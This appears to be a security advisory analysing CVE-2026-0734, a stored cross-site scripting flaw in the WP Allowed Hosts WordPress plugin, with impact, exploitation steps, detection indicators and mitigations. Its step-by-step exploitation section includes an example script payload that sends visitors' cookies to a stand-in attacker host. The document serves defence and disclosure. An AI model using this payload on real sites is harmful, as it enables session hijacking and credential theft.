CVE-2026-0734: 
WordPress vulnerability analysis and mitigation

CVE-2026-0734 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Allowed Hosts plugin for WordPress, affecting all versions up to and including 1.0.8. The flaw arises from insufficient input sanitization and output escaping of the allowed-hosts parameter, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. The vulnerability is limited to WordPress multi-site installations and single-site installations where unfiltered_html has been disabled. It was published on January 14, 2026, with a CVSS v3.1 base score of 4.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability exists at line 170 of allowed-hosts.php, where user-supplied input via the allowed-hosts parameter is stored without adequate sanitization and later rendered without proper output escaping. An attacker with administrator-level privileges can submit a malicious payload through the plugin's settings interface; the injected script then executes in the browser of any user who visits the affected page. Exploitation requires high privileges and high attack complexity, and the scope is changed (affecting users beyond the attacker's session) (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, resulting in low confidentiality and integrity impacts with no availability impact. Potential consequences include session hijacking, credential theft, defacement of injected pages, or redirection of users to malicious sites. The scope is limited to multi-site WordPress environments or those with unfiltered_html disabled, reducing the overall attack surface (Wordfence).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2026-0734. The EPSS score is approximately 0.026% (0.000260), indicating a very low probability of exploitation in the near term. Exploitation requires authenticated administrator-level access, significantly limiting the attacker pool. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify a WordPress multi-site installation or a site with unfiltered_html disabled that has the WP Allowed Hosts plugin (version ≤ 1.0.8) installed and active.
2. Obtain Administrator Access: Authenticate to the WordPress admin panel with administrator-level credentials (or higher), either through legitimate access or via credential compromise.
3. Navigate to Plugin Settings: Access the WP Allowed Hosts plugin settings page within the WordPress admin dashboard.
4. Inject Malicious Payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the allowed-hosts parameter field and save the settings.
5. Trigger Execution: When any user (including other administrators or site visitors) accesses the page where the injected value is rendered, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress admin audit logs showing unexpected modifications to WP Allowed Hosts plugin settings, particularly changes to the allowed-hosts parameter containing <script> tags or encoded JavaScript.
• File System: Review allowed-hosts.php (line 170) for unsanitized stored values; check the WordPress database wp_options table for entries associated with the plugin containing script tags or JavaScript URIs.
• Network: Outbound requests from users' browsers to unknown external domains shortly after visiting pages rendered by the plugin, potentially indicating cookie or credential exfiltration.
• Browser/Application: Unexpected JavaScript execution or redirects occurring on pages that display the allowed-hosts plugin output.

Users should update the WP Allowed Hosts plugin to a version beyond 1.0.8 that addresses this vulnerability. Until a patched version is available or confirmed, administrators should disable the plugin on affected installations. As an additional control, ensure that unfiltered_html is disabled only for trusted administrator roles, and review the stored value of the allowed-hosts parameter in the database for any injected scripts. Restricting administrator account access and enforcing strong authentication (e.g., MFA) reduces the risk of exploitation (Wordfence).

The vulnerability was reported and assigned by Wordfence, a leading WordPress security firm, and has been tracked by standard vulnerability aggregators including Vulners, CVEFeed, and CIRCL. A brief mention appeared on Bluesky via automated CVE tracking accounts. No significant independent researcher commentary or major media coverage has been identified for this low-severity vulnerability.